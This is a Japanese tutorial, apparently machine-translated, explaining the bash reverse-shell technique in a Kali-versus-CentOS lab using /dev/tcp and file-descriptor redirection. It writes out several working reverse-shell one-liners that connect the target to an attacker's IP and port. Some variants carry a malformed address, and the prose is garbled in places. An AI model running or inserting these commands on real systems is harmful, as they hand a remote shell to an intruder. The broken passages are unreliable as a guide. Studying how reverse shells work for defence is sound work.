簡単な分析Linuxのbashリバウンドshell原理


環境
攻撃機:カリ            ip:192.168.25.144
標的    マシン:centos      ip:192.168.25.142
プロセス
カリ監督ローカル8888ポート

ターゲットのcentosはバウンスshellのコマンドを書き込みます。

bash -i >& /dev/tcp/192.168.25.144/8888 0>&1

攻撃機カリのバウンスに成功したshell

原理
リバウンドshellはしばしば攻撃者が被害者に直接接続できない場合に行われる操作である。目的はLANであるか、ファイアウォールを開くかのようないくつかのポリシーがあるため、被害者が積極的に攻撃者に接続を開始することができ、制御側のポートに要求を開始し、そのコマンドラインの入力を制御側に出力することができる。相互作用を実現する
私たちは解体を命じます。

bash -i 

/dev/tcp/192.168.25.144/8888

 >&  0>&1
bash
Linuxでは一般的にデフォルトのshellはbashであり、その機能はほとんどshellが持つ機能をカバーすることができますので、一般的なshellスクリプトは実行パスとして指定されます。
よく使うshellがあります  sh、bash、sh、ksh、csh、zsh など、shellにはそれぞれ独自の特徴と用途があります。
現在のshellコマンドをクエリー    ls-l/bin/sh


bash-i  対話式のbashを開きます。            shellがあれば -iパラメータは、インタラクティブです。
インタラクティブという意味は、ユーザーとインタラクションし、コマンドを入力し、ユーザーにフィードバックするということです。そして、shellスクリプトを実行するというのは非インタラクティブです。
コマンドを使う  echo$  対話式shellかどうか確認できます。
     
パラメータがあります  i,インタラクティブ
shellスクリプトを実行します。
 
引数iなし、非対話式
//devディレクトリ
devはデバイスの英語の略語です。ここでは主に設備(外設営を含む)に関する書類を保管します。Linuxはすべてファイルです。
 /dev/tcp/はLinuxの中の特殊な設備です。このファイルを開くと、socketの呼び出しを出して、socketの接続を確立します。このファイルを読むと、このsocket接続の中でデータを転送するのに相当します。同じように、Linuxにはまだ/dev/udp/が存在します。

/dev/tcp/192.168.25.144/8888
したがって、上記のコマンドは192.168.25.144:8888とTCP接続を確立することです。
ファイル記述子
Linuxシステムでは、すべてをファイルとして見なし、既存のファイルを開いたり、新しいファイルを作成したりすると、カーネルはプロセスにファイルのディスクリプタを返します。ファイルディスクリプタはカーネルです。開かれたファイルを効率的に管理するために作成されたインデックスで、開かれたファイルを指します。
I/O動作を実行するすべてのシステム呼び出しは、ファイル記述子、すなわちファイル記述子によって入出力を制御することができます(入出力リダイレクト)。
標準入力(stdin):           コードは  0     を選択します          標準デバイスキーボード
標準出力(stdout):         コードは  1     使用>>または>>          デフォルトのデバイスディスプレイ
標準エラー出力(stder):  コードは   2    2>または2>>を使用します      デフォルトのデバイスディスプレイ

 ---    +--------+
( 0 ) ---->|dev/tty0|                       /dev/tty0(    )
 ---    +--------+ 
             
 ---    +--------+ 
( 1 ) ---->|dev/tty0| 
 ---    +--------+  
   	    	    
 ---    +--------+ 
( 2 ) ---->|dev/tty0| 
 ---    +--------+
ほとんどのLinuxシステムコマンドは、あなたの端末から入力を受け付け、生成された出力をあなたの端末に送ります。一つのコマンドは通常、標準入力というところから入力を読み取ります。デフォルトでは、これがあなたの端末です。同様に、一つのコマンドは通常、出力を標準出力に書き込みます。デフォルトでは、これもあなたの端末です。

シェル入出力リダイレクト
上の図を見せましょう  出力リダイレクト
使用    1>    出力結果を指定ファイルに書き込みます。    ファイルが存在しない場合はファイルを作成します。ファイルが存在する場合は元のファイルの内容を上書きします。
省略して書かないとデフォルトは1です。       リダイレクトを入力します。  0<>   省略して書かないとデフォルトは0です。


使用  >>   内容を追ってファイルの最後になります。

上で確立したTCP接続を結合する


カリ攻撃機受信

結合bash-i


カリでコマンド実行結果のフィードバックを得ました。

この時私達はnameを入力します。標準出力のエラーがリダイレクトされていません。

 ---    +--------+
( 0 ) ---->|dev/tty0|
 ---    +--------+ 
            
 ---    +--------+      +------------------+
( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port|
 ---    +--------+      +------------------+
   	    	    
 ---    +--------+ 
( 2 ) ---->|dev/tty0| 
 ---    +--------+
リダイレクトを入力


カリ攻撃機に、入力

ターゲットは入力命令を得て、標準出力(デフォルト端末)

 ---    +--------+
( 0 ) ---->|dev/tty0|
 ---    +--------+ 
            
 ---    +--------+      +------------------+
( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port|
 ---    +--------+      +------------------+
   	    	    
 ---    +--------+ 
( 2 ) ---->|dev/tty0| 
 ---    +--------+
!!!!!!!!!!!!!!
今はただ
bash  > /dec/tcp/192.168.25.144/8888  和   bash  <  /dec/tcp/192.168.25.144/8888  結合
攻撃機でのカリ入力コマンドを実現し、カリ機でコマンドリターンを得て、バウンスshellを実現しました。
以下のコマンドを使用します。

bash -i > /dev/tcp/192.168.25.144/8888 0>&1
効果     カリ   ip:192.168.25.140 


この時ターゲットチャンスは攻撃機に入力されたコマンドを出力します。もう一つの問題があります。標準エラー出力はリダイレクトされていません。


追加:
bashは一つの命令を実行する時、まずコマンドにリダイレクト記号が存在しないことを確認します。もし存在するなら、まずファイル記述子をリダイレクトします。複数があるなら、左から右へ順番に実行します。
標準出力と標準エラー出力のリダイレクト
この時、バウンスshell文に使用されました。  >&    オペレータ、>&  操作符は状況によって意味が分かりません。
はい、   >&ワード  文法では、ワードが数字または  -  文字の場合、操作符  >&   コピーファイルの記述子を表します。 
    ファイル記述子のコピーフォーマットは     num 1<&num 2  和 num 1>&num 2 
    ここでは両方とも、ファイル記述子num 1をnum 2にコピーします。 ,両者の違いは、前者は読み取り専用で開き、後者は書き込みで開くということです。
    だからnum 1<&num 2  和 num 1>&num 2 は等価です(読みます/書きます)。
    上記のコマンドは     bash-i>/dev/tcp/192.168.25.144/8888<&1
   だから    0>&1  または   0<&1
   は、ファイル記述子のコピーであり、0[標準入力]を1[標準出力]にリダイレクトした位置です。
   この時1[標準出力]は、socket接続ファイル(最初のものを指します。  >   ),
   リダイレクトが完了したら、0[標準入力]もsocket接続ファイルを指しています。コピーしたので、元の標準出力がターゲットに戻ります。  令夫人

 ---    +--------+
( 0 ) ---->|dev/tty0|\
 ---    +--------+ \
            \
 ---    +--------+  ---->  +------------------+
( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port|
 ---    +--------+      +------------------+
   	    	    
 ---    +--------+ 
( 2 ) ---->|dev/tty0| 
 ---    +--------+
この時点で標準エラー出力は変更されていません。
はい、   >&ワード  文法では、ワードが数字や  -  文字の場合    >&  標準エラー出力を標準出力に統合することを示します。
     このとき操作子と   &> 機能が同じです     >&ワード に等しい &> ワード       に相当します        > ワード  2>&1 
    bash-iを実行するとき  > /dev/tcp/192.168.25.140/9999 0>&1   コマンドの場合、効果は以下のようになります。エラーはリダイレクトされていません。
 
    だから私たちは命令を実行します。   bash-i  > /dev/tcp/192.168.25.140/9999 0>&1 2>&1   または
    bash-i  >& /dev/tcp/192.168.25.140/9999 0>&1       一つの閉じた回路が形成されています。  ,同様に、コマンドバックは攻撃機に表示されます。
   
  以下の効果を実現して閉じて、shellをバウンスできます。他のいくつかのリバウンドコマンドは、次のような効果があれば大丈夫です。

 ---    +--------+
( 0 ) ---->|dev/tty0|\
 ---    +--------+ \
            \
 ---    +--------+  ---->  +------------------+
( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port|
 ---    +--------+  ---->  +------------------+
   	    	    /
 ---    +--------+ /
( 2 ) ---->|dev/tty0| / 
 ---    +--------+

bash -i >& /dev/tcp/192.168.146.25.144/8888 <&1

bash -i >& /dev/tcp/192.168.146.25.144/8888 <&2

bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&1

bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&2

bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&1

bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&2

bash -i > /dev/tcp/192.168.25.144/8888 0>&1 2>&1
など
この文章はたくさんのオーディエンスのブログを参考にしました。なお指摘してほしい
参照リンク:
https://xz.aliyun.com/t/2549
https://www.gnu.org/software/bash/manual/html_node/Redirections.
http://wiki.bash-hackers.org/howto/redirection_チュートリアル
https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/
ここで、簡単な分析Linuxのbashリバウンドshellの原理についての記事を紹介します。これに関連して、Linux bashリバウンドshellの内容は以前の文章を検索したり、下記の関連記事を見たりしてください。これからもよろしくお願いします。